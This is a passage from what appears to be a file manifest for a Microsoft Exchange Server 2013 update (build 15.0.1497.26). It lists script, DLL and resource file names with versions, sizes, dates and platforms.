15.0.1497.26| 56,728| 28-Oct-21| 19:29| x64| SP. \nCitsconstants.ps1| Not applicable| 15,849| 28-Oct-21| 19:28| Not applicable| SP. \nCitslibrary.ps1| Not applicable| 82,728| 28-Oct-21| 19:28| Not applicable| SP. \nCitstypes.ps1| Not applicable| 14,524| 28-Oct-21| 19:28| Not applicable| SP. \nCommonconnectfunctions.ps1| Not applicable| 30,007| 28-Oct-21| 19:31| Not applicable| SP. \nConfigureadam.ps1| Not applicable| 23,383| 28-Oct-21| 19:31| Not applicable| SP. \nConfigurecaferesponseheaders.ps1| Not applicable| 19,961| 28-Oct-21| 19:31| Not applicable| SP. \nConfigurenetworkprotocolparameters.ps1| Not applicable| 19,328| 28-Oct-21| 19:31| Not applicable| SP. \nConfiguresmbipsec.ps1| Not applicable| 39,887| 28-Oct-21| 19:31| Not applicable| SP. \nConfigure_enterprisepartnerapplication.ps1| Not applicable| 22,316| 28-Oct-21| 19:31| Not applicable| SP. \nConnectfunctions.ps1| Not applicable| 38,363| 28-Oct-21| 19:31| Not applicable| SP. \nConnect_exchangeserver_help.xml| Not applicable| 30,388| 28-Oct-21| 19:32| Not applicable| SP. \nConsoleinitialize.ps1| Not applicable| 24,292| 28-Oct-21| 19:31| Not applicable| SP. \nConvertoabvdir.ps1| Not applicable| 20,129| 28-Oct-21| 19:31| Not applicable| SP. \nConverttomessagelatency.ps1| Not applicable| 14,592| 28-Oct-21| 19:31| Not applicable| SP. \nCts_microsoft.exchange.data.common.dll| 15.0.1497.26| 1,653,232| 28-Oct-21| 19:31| x86| SP. \nDiagnosticscriptcommonlibrary.ps1| Not applicable| 16,398| 28-Oct-21| 19:28| Not applicable| SP. \nDisableinmemorytracing.ps1| Not applicable| 13,422| 28-Oct-21| 19:31| Not applicable| SP. \nDisable_antimalwarescanning.ps1| Not applicable| 15,249| 28-Oct-21| 19:31| Not applicable| SP. \nDisable_outsidein.ps1| Not applicable| 13,714| 28-Oct-21| 19:31| Not applicable| SP. \nDsaccessperf.dll| 15.0.1497.26| 45,488| 28-Oct-21| 19:31| x64| SP. \nDscperf.dll| 15.0.1497.26| 24,496| 28-Oct-21| 19:31| x64| SP. \nDup_cts_microsoft.exchange.data.common.dll| 15.0.1497.26| 1,653,232| 28-Oct-21| 19:31| x86| SP. \nDup_ext_microsoft.exchange.data.transport.dll| 15.0.1497.26| 396,752| 28-Oct-21| 19:35| x86| SP. \nEdgetransport.exe| 15.0.1497.26| 40,920| 28-Oct-21| 19:31| x86| SP. \nEnableinmemorytracing.ps1| Not applicable| 13,436| 28-Oct-21| 19:31| Not applicable| SP. \nEnable_antimalwarescanning.ps1| Not applicable| 17,639| 28-Oct-21| 19:31| Not applicable| SP. \nEnable_crossforestconnector.ps1| Not applicable| 18,674| 28-Oct-21| 19:31| Not applicable| SP. \nEnable_outlookcertificateauthentication.ps1| Not applicable| 22,959| 28-Oct-21| 19:31| Not applicable| SP. \nEnable_outsidein.ps1| Not applicable| 13,723| 28-Oct-21| 19:31| Not applicable| SP. \nEngineupdateserviceinterfaces.dll| 15.0.1497.26| 17,840| 28-Oct-21| 19:33| x86| SP. \nEse.dll| 15.0.1497.26| 3,254,704| 28-Oct-21| 19:31| x64| SP. \nEseback2.dll| 15.0.1497.26| 305,072| 28-Oct-21| 19:31| x64| SP. \nEsebcli2.dll| 15.0.1497.26| 274,864| 28-Oct-21| 19:31| x64| SP. \nEseperf.dll| 15.0.1497.26| 111,024| 28-Oct-21| 19:31| x64| SP. \nEseutil.exe| 15.0.1497.26| 370,608| 28-Oct-21| 19:31| x64| SP. \nEsevss.dll| 15.0.1497.26| 43,952| 28-Oct-21| 19:31| x64| SP. \nExchange.depthtwo.types.ps1xml| Not applicable| 38,399| 28-Oct-21| 19:31| Not applicable| SP. \nExchange.format.ps1xml| Not applicable| 502,266| 28-Oct-21| 19:31| Not applicable| SP. \nExchange.partial.types.ps1xml| Not applicable| 32,625| 28-Oct-21| 19:31| Not applicable| SP. \nExchange.ps1| Not applicable| 20,595| 28-Oct-21| 19:31| Not applicable| SP. \nExchange.support.format.ps1xml| Not applicable| 26,602| 28-Oct-21| 19:31| Not applicable| SP. \nExchange.types.ps1xml| Not applicable| 334,317| 28-Oct-21| 19:31| Not applicable| SP. \nExchmem.dll| 15.0.1497.26| 80,296| 28-Oct-21| 19:31| x64| SP. \nExchucutil.ps1| Not applicable| 23,976| 28-Oct-21| 19:31| Not applicable| SP. \nExdbfailureitemapi.dll| 15.0.1497.26| 27,560| 28-Oct-21| 19:31| x64| SP. \nExdbmsg.dll| 15.0.1497.26| 198,568| 28-Oct-21| 19:31| x64| SP. \nExportedgeconfig.ps1| Not applicable| 27,451| 28-Oct-21| 19:31| Not applicable| SP. \nExport_mailpublicfoldersformigration.ps1| Not applicable| 36,570| 28-Oct-21| 19:31| Not applicable| SP. \nExport_publicfolderstatistics.ps1| Not applicable| 23,205| 28-Oct-21| 19:31| Not applicable| SP. \nExport_retentiontags.ps1| Not applicable| 17,120| 28-Oct-21| 19:31| Not applicable| SP. \nExprfdll.dll| 15.0.1497.26| 25,008| 28-Oct-21| 19:31| x64| SP. \nExrpc32.dll| 15.0.1497.26| 1,683,368| 28-Oct-21| 19:29| x64| SP. \nExrw.dll| 15.0.1497.26| 28,064| 28-Oct-21| 19:31| x64| SP. \nExsetdata.dll| 15.0.1497.26| 1,749,928| 28-Oct-21| 19:31| x64| SP. \nExsetup.exe| 15.0.1497.26| 35,304| 28-Oct-21| 19:31| x86| SP. \nExsetupui.exe| 15.0.1497.26| 199,144| 28-Oct-21| 19:31| x86| SP. \nExtrace.dll| 15.0.1497.26| 210,352| 28-Oct-21| 19:31| x64| SP. \nExt_microsoft.exchange.data.transport.dll| 15.0.1497.26| 396,752| 28-Oct-21| 19:35| x86| SP. \nExwatson.dll| 15.0.1497.26| 19,368| 28-Oct-21| 19:31| x64| SP. \nFastioext.dll| 15.0.1497.26| 48,024| 28-Oct-21| 19:29| x64| SP. \nFil00a59b0bf9ad6dbefafaeb21bc52cadc| Not applicable| 160,921| 11-Sep-20| 0:09| Not applicable| SP. \nFil01265e3f95fffa90f103d6045ee1b646| Not applicable| 207,584| 11-Sep-20| 0:08| Not applicable| SP. \nFil01464b610a1b9ca44bfd4aa2b20a0a47| Not applicable| 242,360| 11-Sep-20| 0:08| Not applicable| SP. \nFil024514f3668d7fae2909c604a07f2cae| Not applicable| 118,512| 11-Sep-20| 0:09| Not applicable| SP. \nFil02886dbc65954c74ff5f004a4de087d0| Not applicable| 382,584| 11-Sep-20| 0:10| Not applicable| SP. \nFil02aa6af1a7515d4d79a36ff53c2451cc| Not applicable| 202,224| 11-Sep-20| 0:10| Not applicable| SP. \nFil03094a694b8e463b811188f1414aafd9| Not applicable| 1,562| 11-Sep-20| 0:10| Not applicable| SP. \nFil0346bb60fed433908e0d629870fa234f| Not applicable| 42,453| 11-Sep-20| 0:10| Not applicable| SP. \nFil03d6f5ce7cdbd650b4e31b9b17bfebdf| Not applicable| 63,034| 11-Sep-20| 0:09| Not applicable| SP. \nFil03df293f7a64512c7994f03b06b1cc9d| Not applicable| 122,028| 11-Sep-20| 0:08| Not applicable| SP. \nFil04648c9ff8319a4b2f4228ef41f3d558| Not applicable| 188,610| 11-Sep-20| 0:09| Not applicable| SP. \nFil04be20231e54d4b1b9ae0adcee287d33| Not applicable| 3,319| 11-Sep-20| 0:10| Not applicable| SP. \nFil05bd0d7761664f4f3447bc8b82cba551| Not applicable| 260,796| 11-Sep-20| 0:08| Not applicable| SP. \nFil07291eda8c3b4bef35c20b117bc4dc89| Not applicable| 11,065| 11-Sep-20| 0:03| Not applicable| SP. \nFil073611cea59a04ae5959ec5466f4f770| Not applicable| 206,119| 11-Sep-20| 0:10| Not applicable| SP. \nFil07a54aa7bb7bff7a7ebaa792bbf2dcc3| Not applicable| 12,920| 11-Sep-20| 0:10| Not applicable| SP. \nFil07d1178f9b4ec96c22a8240722e0bf9f| Not applicable| 381,584| 11-Sep-20| 0:09| Not applicable| SP. \nFil0807d7ff1190d89482f9590435e63704| Not applicable| 376,675| 11-Sep-20| 0:09| Not applicable| SP. \nFil08a4c36edaa0a358721425799ae714fa| Not applicable| 243,898| 11-Sep-20| 0:08| Not applicable| SP. \nFil092fbdf7953d47bcaec4c494ad2a4620| Not applicable| 142,751| 11-Sep-20| 0:11| Not applicable| SP. \nFil093c3f7e3d75f52ac3ae90f8d5c582cc| Not applicable| 229,663| 11-Sep-20| 0:08| Not applicable| SP. \nFil095e2ae2aad7e5fe67147fa275cf3657| Not applicable| 200,119| 11-Sep-20| 0:09| Not applicable| SP. \nFil097d6a2a5acff36af3b3de457fece43f| Not applicable| 317,272| 11-Sep-20| 0:08| Not applicable| SP. \nFil098cd77950ecc93e59a6d478029be507| Not applicable| 2,003,210| 11-Sep-20| 0:06| Not applicable| SP. \nFil0994fb28dc0ef8f87218c621ae86e134| Not applicable| 286,293| 11-Sep-20| 0:11| Not applicable| SP. \nFil0aff9b8e03ff8a9bb1517388f2c44d1a| Not applicable| 14,524| 11-Sep-20| 0:10| Not applicable| SP. \nFil0bfa47954dd042005e90c2bd01cd0a37| Not applicable| 142,850| 11-Sep-20| 0:08| Not applicable| SP. \nFil0d721f7ce4137c3bd63bdc89da0bb5cb| Not applicable| 236,086| 11-Sep-20| 0:08| Not applicable| SP. \nFil0dbb9c355360df6a4459d2007004c9e3| Not applicable| 208,728| 11-Sep-20| 0:10| Not applicable| SP. \nFil0dcd409d2cf1a0fe1b1d23995972047e| Not applicable| 264,787| 11-Sep-20| 0:09| Not applicable| SP. \nFil0dd00b83250a9921930f80dfadd64420| Not applicable| 167,266| 11-Sep-20| 0:10| Not applicable| SP. \nFil0ee631acb4cbeba6a8ce8838790ffba3| Not applicable| 225,959| 11-Sep-20| 0:08| Not applicable| SP. \nFil0fe6c543ad5dce68f8da1d128ebff332| Not applicable| 303,122| 11-Sep-20| 0:10| Not applicable| SP. \nFil0fefc0bb7650de7a8e100f27290b316c| Not applicable| 939| 11-Sep-20| 0:10| Not applicable| SP. \nFil1049e7dbf56476ddca7fbcdd54f1b796| Not applicable| 146,378| 11-Sep-20| 0:10| Not applicable| SP. \nFil11364618faea90d632e254088444fc52| Not applicable| 3,359| 11-Sep-20| 0:10| Not applicable| SP. \nFil1173f6b39fe7c9d910b8dc5bd19521f8| Not applicable| 361,118| 11-Sep-20| 0:09| Not applicable| SP. \nFil119e3a5d3db8bc97fc7e5f8e81f2f8ca| Not applicable| 197,448| 11-Sep-20| 0:08| Not applicable| SP. \nFil1270dc39571f9c7aa6cfaadeff4f3640| Not applicable| 171,559| 11-Sep-20| 0:07| Not applicable| SP. \nFil129c1192b00260084863bfb442d9ef93| Not applicable| 1,303| 11-Sep-20| 0:10| Not applicable| SP. \nFil13fb2417bf46b85b2993d051b8ab7c66| Not applicable| 330,130| 11-Sep-20| 0:08| Not applicable| SP. \nFil1426532f337ffd248ad8526e66f9fed6| Not applicable| 147,629| 11-Sep-20| 0:09| Not applicable| SP. \nFil1591caf2c0ed95d3d7dc675a20701ee6| Not applicable| 114,064| 11-Sep-20| 0:08| Not applicable| SP. \nFil15f38a12988013e8d68ce239be0d5f3d| Not applicable| 171,283| 11-Sep-20| 0:08| Not applicable| SP. \nFil162350ffb26be403359faaf6c45406cf| Not applicable| 163,899| 11-Sep-20| 0:08| Not applicable| SP. \nFil162b0371ffc6ab85232d5f1c2f4997e7| Not applicable| 9,782| 11-Sep-20| 0:10| Not applicable| SP. \nFil1696980eba48067e2ae900f45faad78e| Not applicable| 1,875| 11-Sep-20| 0:10| Not applicable| SP. \nFil16fca2f0aaead1fbec7a463ca606a1ec| Not applicable| 370,126| 11-Sep-20| 0:08| Not applicable| SP. \nFil19183400565ab2ccc44ecaa477a5e3d1| Not applicable| 15,230| 11-Sep-20| 0:03| Not applicable| SP. \nFil199e6bdb4f3b2b47c763319633da1136| Not applicable| 327,350| 11-Sep-20| 0:08| Not applicable| SP. \nFil19ccdd118db9bfc3475814a4b4e08c08| Not applicable| 584,377| 11-Sep-20| 0:08| Not applicable| SP. \nFil1a3b1da5816e3bb64056cf149788066b| Not applicable| 480,547| 11-Sep-20| 0:10| Not applicable| SP. \nFil1ac6267c3eb50d8e405d35e06e7c7878| Not applicable| 15,933| 11-Sep-20| 0:10| Not applicable| SP. \nFil1b70faaee4a16f481d3565f701d210d2| Not applicable| 194,186| 11-Sep-20| 0:10| Not applicable| SP. \nFil1bb83920715900f568a44fea64ebdf14| Not applicable| 409,070| 11-Sep-20| 0:10| Not applicable| SP. \nFil1bbf3e38efe960ca2113daaab481b364| Not applicable| 3,474| 11-Sep-20| 0:10| Not applicable| SP. \nFil1e3e47d491e73bf0ce9bd6368a869661| Not applicable| 114,721| 11-Sep-20| 0:09| Not applicable| SP. \nFil1ebaeefd7727d6252ca22a5e152fc343| Not applicable| 8,138| 11-Sep-20| 0:10| Not applicable| SP. \nFil1f3158c2364004336fefd7fa8c62086b| Not applicable| 327,640| 11-Sep-20| 0:09| Not applicable| SP. \nFil1f475a8603a1bbd01e1a40d53c813c9c| Not applicable| 315,635| 11-Sep-20| 0:10| Not applicable| SP. \nFil1fff4b705c9647b4ff3f83b020b2e237| Not applicable| 370,164| 11-Sep-20| 0:10| Not applicable| SP. \nFil2039f6f47019d7eb8d50a7d7387e1326| Not applicable| 118,107| 11-Sep-20| 0:10| Not applicable| SP. \nFil208b9e5328593cd0b5013b4cae2713f9| Not applicable| 335,423| 11-Sep-20| 0:08| Not applicable| SP. \nFil2093384b2fd2dd4694e4452e9aacfc18| Not applicable| 383,683| 11-Sep-20| 0:07| Not applicable| SP. \nFil20b9a11913964b245854e564a94544ed| Not applicable| 144,647| 11-Sep-20| 0:08| Not applicable| SP. \nFil20e584fabe14655761b29e602eed5cc9| Not applicable| 182,170| 11-Sep-20| 0:07| Not applicable| SP. \nFil2143e07c2cac620dfefafd058902b0d3| Not applicable| 2,915| 11-Sep-20| 0:10| Not applicable| SP. \nFil222a09c547b07ae712f31cf9175a5717| Not applicable| 116,530| 11-Sep-20| 0:08| Not applicable| SP. \nFil2294c86871eb9882419d11de13a0e558| Not applicable| 866| 11-Sep-20| 0:10| Not applicable| SP. \nFil2294eb56822388c24312aee15bef4d72| Not applicable| 3,423| 11-Sep-20| 0:10| Not applicable| SP. \nFil235c6fa467f8662a9bcbd6fac8df465b| Not applicable| 117,287| 11-Sep-20| 0:07| Not applicable| SP. \nFil240bcf2747ef1821d63068b04d54a07d| Not applicable| 163,794| 11-Sep-20| 0:11| Not applicable| SP. \nFil24622e71b4f201522c30b5396079ebf9| Not applicable| 151,701| 11-Sep-20| 0:08| Not applicable| SP. \nFil247b22302db2287f03bd385ba61ffe55| Not applicable| 398,137| 11-Sep-20| 0:07| Not applicable| SP. \nFil25727a6a764ebd6cd89550c2c031c37c| Not applicable| 160,115| 11-Sep-20| 0:08| Not applicable| SP. \nFil265b8ec6d4ed498b5382cfc1027491a2| Not applicable| 82,741| 11-Sep-20| 0:09| Not applicable| SP. \nFil280c8cbd4386b442b5c94af6708eaac8| Not applicable| 16,625| 11-Sep-20| 0:10| Not applicable| SP. \nFil283358d58bb98df0557b67b6f747c86a| Not applicable| 460,146| 11-Sep-20| 0:07| Not applicable| SP. \nFil28b2b9d1b7e313e502a8835045c2d0d0| Not applicable| 15,031| 11-Sep-20| 0:10| Not applicable| SP. \nFil2a6b0663833d438eea50ffe81c51ec83| Not applicable| 2,003,228| 11-Sep-20| 0:05| Not applicable| SP. \nFil2adab262add65203b0c7c5bc1251e47f| Not applicable| 312,638| 11-Sep-20| 0:08| Not applicable| SP. \nFil2b2ac38f6e7b4a0553da72f403582cd5| Not applicable| 1,727| 11-Sep-20| 0:10| Not applicable| SP. \nFil2bd8c15c9164155f212951a70631823f| Not applicable| 5,285| 11-Sep-20| 0:10| Not applicable| SP. \nFil2c21ffd8eb5ecd0f7c89a27b86951a7d| Not applicable| 10,821| 11-Sep-20| 0:09| Not applicable| SP. \nFil2db733aabd2264a64057e89820aca13c| Not applicable| 13,759| 11-Sep-20| 0:10| Not applicable| SP. \nFil2e63bcb4a6d04e10c147a6c3f92bfcab| Not applicable| 670,945| 11-Sep-20| 0:09| Not applicable| SP. \nFil2e6b2f8c3954b6bbc8ab2a22d1438d67| Not applicable| 114,990| 11-Sep-20| 0:09| Not applicable| SP. \nFil2eba4c3b1398dc2169d3a58cf26d7494| Not applicable| 3,169| 11-Sep-20| 0:10| Not applicable| SP. \nFil2f58bbe281f35794e1fadfd2d5372340| Not applicable| 151,951| 11-Sep-20| 0:09| Not applicable| SP. \nFil31e9f5684b0b5ea70746907556f64515| Not applicable| 296,876| 11-Sep-20| 0:09| Not applicable| SP. \nFil32c87816f9a713092dc110787ef42586| Not applicable| 35,050| 11-Sep-20| 0:08| Not applicable| SP. \nFil32ede05fb6827d1a783e56be2937e471| Not applicable| 153,091| 11-Sep-20| 0:08| Not applicable| SP. \nFil344d9c6f4f02142eba8c624f965acd67| Not applicable| 121,941| 11-Sep-20| 0:08| Not applicable| SP. \nFil363d000c227039f27c69b128287ff68e| Not applicable| 186,041| 11-Sep-20| 0:07| Not applicable| SP. \nFil36da999539f10f4939d3c19fb7e77d53| Not applicable| 11,324| 11-Sep-20| 0:09| Not applicable| SP. \nFil37589a1bee605be2ae1422c6d19521cd| Not applicable| 384,396| 11-Sep-20| 0:09| Not applicable| SP. \nFil3804327ae3bca4c1a589eed2acaf0909| Not applicable| 1,739| 11-Sep-20| 0:10| Not applicable| SP. \nFil38494a0e60def94d88e8724029463551| Not applicable| 83,497| 11-Sep-20| 0:07| Not applicable| SP. \nFil3859e6d9c6cf748d05be23536b9221c4| Not applicable| 124,060| 11-Sep-20| 0:10| Not applicable| SP. \nFil39ee1f35ad97bd462c3ac5aec000a1c0| Not applicable| 210,413| 11-Sep-20| 0:10| Not applicable| SP. \nFil3a42ef50a1ae3edbb7a00bc22f3434e3| Not applicable| 24,337| 11-Sep-20| 0:03| Not applicable| SP. \nFil3b12709b2a6d1f6a5a9d96edbc2a9dd2| Not applicable| 211,288| 11-Sep-20| 0:09| Not applicable| SP. \nFil3b8cc2b36f720baad95be0910e9346eb| Not applicable| 154,799| 11-Sep-20| 0:10| Not applicable| SP. \nFil3c3fb88b0193db7b45726833c054d1ed| Not applicable| 4,920| 11-Sep-20| 0:10| Not applicable| SP. \nFil3cccb1e1cc9707666a7232847b28158a| Not applicable| 148,810| 11-Sep-20| 0:10| Not applicable| SP. \nFil3d3af8f03141aadd16d3951f471e4ecd| Not applicable| 472,586| 11-Sep-20| 0:10| Not applicable| SP. \nFil3d952efb9613d0f0fa9c884c2e197c47| Not applicable| 64,742| 11-Sep-20| 0:07| Not applicable| SP. \nFil3d96340571dcbbca40f9dda36cf8cc23| Not applicable| 376,491| 11-Sep-20| 0:08| Not applicable| SP. \nFil3db21a7c265bee0f8897197ab8184cbb| Not applicable| 407,449| 11-Sep-20| 0:11| Not applicable| SP. \nFil3e7cd5352ab27351d37dc5a0d70eb5da| Not applicable| 8,202| 11-Sep-20| 0:10| Not applicable| SP. \nFil401dc81859f7ddf0518e04d60fb6f0f0| Not applicable| 127,242| 11-Sep-20| 0:08| Not applicable| SP. \nFil4032894f9d18775fe5b8f517b9446ed2| Not applicable| 247,259| 11-Sep-20| 0:09| Not applicable| SP. \nFil426e71bd7d39fbdac2f9aac2641b16f3| Not applicable| 1,923| 11-Sep-20| 0:10| Not applicable| SP. \nFil4278d1df336a84435b4ce9034fb1a172| Not applicable| 718| 11-Sep-20| 0:10| Not applicable| SP. \nFil42a5edd14a3d3f555fcd6172e48921fb| Not applicable| 157,961| 11-Sep-20| 0:09| Not applicable| SP. \nFil42c22971f1d5dc2196265e92d6da872f| Not applicable| 150,392| 11-Sep-20| 0:11| Not applicable| SP. \nFil442f08df8632cfa5f8638445f7151f04| Not applicable| 956| 11-Sep-20| 0:10| Not applicable| SP. \nFil449a3b586a9163232e7d21b204dff9e2| Not applicable| 1,316| 11-Sep-20| 0:10| Not applicable| SP. \nFil44a698d38545e9cd051d9db8fdfc900e| Not applicable| 225,606| 11-Sep-20| 0:10| Not applicable| SP. \nFil44afe89b21b16bf4b609ab451085526a| Not applicable| 373,865| 11-Sep-20| 0:08| Not applicable| SP. \nFil44d189470b9393ed19ca08defd240a38| Not applicable| 216,698| 11-Sep-20| 0:10| Not applicable| SP. \nFil45cd37ad6b0169d99d0eb6dcba7d08d9| Not applicable| 166,781| 11-Sep-20| 0:10| Not applicable| SP. \nFil46233812dcee5af00423b2fc332d0c5d| Not applicable| 2,015,045| 11-Sep-20| 0:05| Not applicable| SP. \nFil46ef8081ccac6e0c239c52cfc8c58dcf| Not applicable| 4,743| 11-Sep-20| 0:07| Not applicable| SP. \nFil476b430823a50cf77d9968f03858d69d| Not applicable| 359,078| 11-Sep-20| 0:08| Not applicable| SP. \nFil481ea15e0071beee36e6711fe55c7372| Not applicable| 307,725| 11-Sep-20| 0:08| Not applicable| SP. \nFil4a3306ef5eda0d022a521f8bd6c3d940| Not applicable| 158,115| 11-Sep-20| 0:08| Not applicable| SP. \nFil4a79082a6a63aa24efbd3f71b1a9f8e8| Not applicable| 139,064| 11-Sep-20| 0:09| Not applicable| SP. \nFil4aa30f91267dc1dffacc9bb3f9e43367| Not applicable| 1,972| 11-Sep-20| 0:10| Not applicable| SP. \nFil4b622a1d73e8a02febd3ad6f59e8b98c| Not applicable| 12,107| 11-Sep-20| 0:10| Not applicable| SP. \nFil4bc634eae6f3c142c6ed8d2927520cc3| Not applicable| 5,653| 11-Sep-20| 0:10| Not applicable| SP. \nFil4bd7eb36b7c3567f715d5365f8047204| Not applicable| 142,286| 11-Sep-20| 0:10| Not applicable| SP. \nFil4c0ab8720533c89e68ce63e86d429dde| Not applicable| 381,163| 11-Sep-20| 0:08| Not applicable| SP. \nFil4c177d04b538b102de0bc7af504ade88| Not applicable| 1,264| 11-Sep-20| 0:10| Not applicable| SP. \nFil4cc43ed047118c3c70489c99f391ad41| Not applicable| 570,339| 11-Sep-20| 0:08| Not applicable| SP. \nFil4cfa7a61721252f62fb29a0f1805bd48| Not applicable| 151,467| 11-Sep-20| 0:09| Not applicable| SP. \nFil4d0f14d8c2b6b77898bcc5954a8335d4| Not applicable| 12,161| 11-Sep-20| 0:10| Not applicable| SP. \nFil4d393ab247c2ec19d982c087d694252e| Not applicable| 485,168| 11-Sep-20| 0:09| Not applicable| SP. \nFil4e4dfdf527ace3b42d88eaea58ad4e00| Not applicable| 110,057| 11-Sep-20| 0:11| Not applicable| SP. \nFil4f050d584b052cef56c611c7a6fc0b4d| Not applicable| 440,314| 11-Sep-20| 0:10| Not applicable| SP. \nFil4f0ff802c3382fc6cb28e90145915a91| Not applicable| 155,232| 11-Sep-20| 0:08| Not applicable| SP. \nFil4fbdcc69c6687636e427226aab76d82c| Not applicable| 165,120| 11-Sep-20| 0:08| Not applicable| SP. \nFil50c8b757b4933533069fdb8f6b905e0d| Not applicable| 158,190| 11-Sep-20| 0:09| Not applicable| SP. \nFil50e303dde9fe96807796a25979e2814a| Not applicable| 252,966| 11-Sep-20| 0:08| Not applicable| SP. \nFil538089ef224df4976d311e8302364c00| Not applicable| 1,152,608| 11-Sep-20| 0:12| Not applicable| SP. \nFil5387207480a1873bc7ed50c9eaed89c7| Not applicable| 2,003,225| 11-Sep-20| 0:06| Not applicable| SP. \nFil53acea05108c4f46ff21c66f40cfaeec| Not applicable| 150,387| 11-Sep-20| 0:08| Not applicable| SP. \nFil540e2d0af94e0e486cae7a4a9e109676| Not applicable| 215,778| 11-Sep-20| 0:10| Not applicable| SP. \nFil541882cdf469df98dbf0ac462de46344| Not applicable| 575,597| 11-Sep-20| 0:09| Not applicable| SP. \nFil543079c26bd28998e4563bbd4cac1644| Not applicable| 4,186| 11-Sep-20| 0:10| Not applicable| SP. \nFil54337210b89f5380a40a0904d6d860f8| Not applicable| 1,729| 11-Sep-20| 0:10| Not applicable| SP. \nFil5542b08a74ea880a5f2bd8b269fc1231| Not applicable| 250,545| 11-Sep-20| 0:09| Not applicable| SP. \nFil57beb556aec2d6e97c7b317de9f72304| Not applicable| 322,662| 11-Sep-20| 0:08| Not applicable| SP. \nFil57fcce90719eee5eff1f954327649e53| Not applicable| 222,952| 11-Sep-20| 0:08| Not applicable| SP. \nFil58337dc668f3e1a94ebd035dc310ef3a| Not applicable| 3,653| 11-Sep-20| 0:10| Not applicable| SP. \nFil59074b5deefeb2b4d32b58953cb77f9e| Not applicable| 202,678| 11-Sep-20| 0:07| Not applicable| SP. \nFil596d2b532682a216aced5af81a34785e| Not applicable| 371,817| 11-Sep-20| 0:08| Not applicable| SP. \nFil5aef2df4d623713792ff2e54a0abea77| Not applicable| 3,391| 11-Sep-20| 0:10| Not applicable| SP. \nFil5b481af97947b02636fefbad6cf5332e| Not applicable| 10,504| 11-Sep-20| 0:10| Not applicable| SP. \nFil5b51bde4cf501f9d89d6fdd6084fb0dc| Not applicable| 76,238| 11-Sep-20| 0:07| Not applicable| SP. \nFil5c8127dbccdda444e35671ff4a274fc5| Not applicable| 164,462| 11-Sep-20| 0:08| Not applicable| SP. \nFil5cd88aaf0a21ddb716f1da478f29fe22| Not applicable| 68,607| 11-Sep-20| 0:03| Not applicable| SP. \nFil5d2722dc3289787a79451240b7a88ef3| Not applicable| 1,218| 11-Sep-20| 0:10| Not applicable| SP. \nFil5d6827cff217e4dfce3affa1aa55d8f3| Not applicable| 476,341| 11-Sep-20| 0:09| Not applicable| SP. \nFil5e56ac7a5a17eeba25534e146a5b96c5| Not applicable| 187,286| 11-Sep-20| 0:10| Not applicable| SP. \nFil5f4f6a29ca46dc40a4f6ac9b8b772ce3| Not applicable| 203,484| 11-Sep-20| 0:09| Not applicable| SP. \nFil5fd4bc51ae2ad462403cdc6a0cf9ffd0| Not applicable| 311,764| 11-Sep-20| 0:10| Not applicable| SP. \nFil604f37df9e3b6c4d7c48f14c35a26977| Not applicable| 126,177| 11-Sep-20| 0:08| Not applicable| SP. \nFil610677a0034b8232f2b460d83c22ce46| Not applicable| 481,442| 11-Sep-20| 0:09| Not applicable| SP. \nFil6133c70794989aad906ec1c690498770| Not applicable| 1,669| 11-Sep-20| 0:10| Not applicable| SP. \nFil63179e1cb286b0ef11dc63dc6af82432| Not applicable| 14,116| 11-Sep-20| 0:10| Not applicable| SP. \nFil6356fbacb88d6b1b13e09aadb6887fbe| Not applicable| 161,576| 11-Sep-20| 0:10| Not applicable| SP. \nFil64dd0c27769e484c139e2503ec3eef51| Not applicable| 218,860| 11-Sep-20| 0:10| Not applicable| SP. \nFil65080648928ede60012994a0baeca00b| Not applicable| 309,691| 11-Sep-20| 0:09| Not applicable| SP. \nFil6ad129a5d744ab89f7b431d1d495262a| Not applicable| 60,605| 11-Sep-20| 0:08| Not applicable| SP. \nFil6ae5c571deb81c557347776937eec424| Not applicable| 327,120| 11-Sep-20| 0:08| Not applicable| SP. \nFil6c511826bfeecb77f6559c6b60d65511| Not applicable| 360,888| 11-Sep-20| 0:09| Not applicable| SP. \nFil6c6539569c8b5a20bd7f4dc318576341| Not applicable| 305,628| 11-Sep-20| 0:09| Not applicable| SP. \nFil6d0c3c83a060d3235e4a034bf754cdde| Not applicable| 139,720| 11-Sep-20| 0:09| Not applicable| SP. \nFil6ec9b1a61bc1b1de3666c8f074b638b0| Not applicable| #########| 11-Sep-20| 0:12| Not applicable| SP. \nFil6f8d2fab306d136e7656db49710c3a48| Not applicable| 3,636| 11-Sep-20| 0:10| Not applicable| SP. \nFil6fe7b10d2287827cf3c81b58b9c8b8ff| Not applicable| 304,524| 11-Sep-20| 0:10| Not applicable| SP. \nFil7189adae9ca485f37c0c74269ff71aca| Not applicable| 12,644| 11-Sep-20| 0:10| Not applicable| SP. \nFil71e73a51dc2a21736116b8807bb466e8| Not applicable| 156,649| 11-Sep-20| 0:09| Not applicable| SP. \nFil7207154834a23fbc29d011e71d208a39| Not applicable| 163,997| 11-Sep-20| 0:10| Not applicable| SP. \nFil720fe9713dec6be87ee03bce38fbfc36| Not applicable| 321,069| 11-Sep-20| 0:08| Not applicable| SP. \nFil7332c61fe6101e9bae82c487d99082df| Not applicable| 916| 11-Sep-20| 0:10| Not applicable| SP. \nFil736e7b808675fe35044733ce258a9a73| Not applicable| 209,717| 11-Sep-20| 0:09| Not applicable| SP. \nFil73c9286d8470aa113cba01507403eeba| Not applicable| 123,453| 11-Sep-20| 0:10| Not applicable| SP. \nFil73dbdc432c5bb5f29330a83a9faa7ae1| Not applicable| 319,119| 11-Sep-20| 0:10| Not applicable| SP. \nFil74f06c9b75edb14687c2262ad6ae2557| Not applicable| 310,368| 11-Sep-20| 0:08| Not applicable| SP. \nFil7511efbde449570e1079881ef478d89f| Not applicable| 328,987| 11-Sep-20| 0:10| Not applicable| SP. \nFil75c2cda8a128e765ff0af0755bfd328b| Not applicable| 145,359| 11-Sep-20| 0:09| Not applicable| SP. \nFil7622d867b4e32c321108f9585ae213e0| Not applicable| 143,754| 11-Sep-20| 0:10| Not applicable| SP. \nFil764919a245fe2bc500925814cddfbdad| Not applicable| 72,860| 11-Sep-20| 0:03| Not applicable| SP. \nFil76a84f20ffd55d7ea12ac35d8380efd5| Not applicable| 425,083| 11-Sep-20| 0:10| Not applicable| SP. \nFil7700cf10ad703df7c8918a0563a5e129| Not applicable| 170,409| 11-Sep-20| 0:10| Not applicable| SP. \nFil780df069c247b8094634ab0404623781| Not applicable| 3,146| 11-Sep-20| 0:10| Not applicable| SP. \nFil78360aa0f236f838f94a573fa0e591eb| Not applicable| 306,391| 11-Sep-20| 0:10| Not applicable| SP. \nFil788ad7e3f4abc8bfb4327d0b98934699| Not applicable| 3,264| 11-Sep-20| 